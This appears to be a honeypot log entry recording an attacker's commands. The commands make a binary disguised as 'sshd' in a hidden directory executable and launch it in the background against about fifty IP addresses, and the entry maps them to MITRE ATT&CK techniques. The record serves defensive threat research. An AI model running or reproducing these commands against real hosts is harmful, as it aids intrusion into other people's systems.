Honeypot attack session (period 2024), commands issued:
chmod +x ./.2094275784480005217/sshd;nohup ./.2094275784480005217/sshd 15.206.79.116 5.42.73.122 159.65.20.186 164.155.134.70 124.118.249.114 14.215.136.37 161.97.104.115 103.244.80.196 14.215.136.11 183.131.22.188 36.108.168.4 43.248.188.103 58.223.177.13 183.36.36.195 111.180.193.157 23.90.23.234 192.227.148.214 139.199.1.94 103.145.145.82 193.226.50.6 37.60.241.30 125.124.199.57 101.89.177.169 154.211.13.102 125.220.195.10 168.90.18.21 183.221.214.95 45.192.73.206 141.11.159.187 222.77.96.62 20.2.232.4 193.169.244.205 140.249.204.169 140.246.77.210 5.34.195.152 154.126.176.254 115.239.255.13 182.151.25.46 139.198.9.27 14.215.136.28 175.209.85.6 152.89.170.245 117.50.187.194 117.161.138.2 51.79.230.233 107.172.108.61 180.97.220.14 222.77.96.52 173.212.242.177 154.12.187.10 107.172.84.105 &

MITRE ATT&CK techniques observed:
T1222 File and Directory Permissions Modification
T1564 Hide Artifacts
T1059 Command and Scripting Interpreter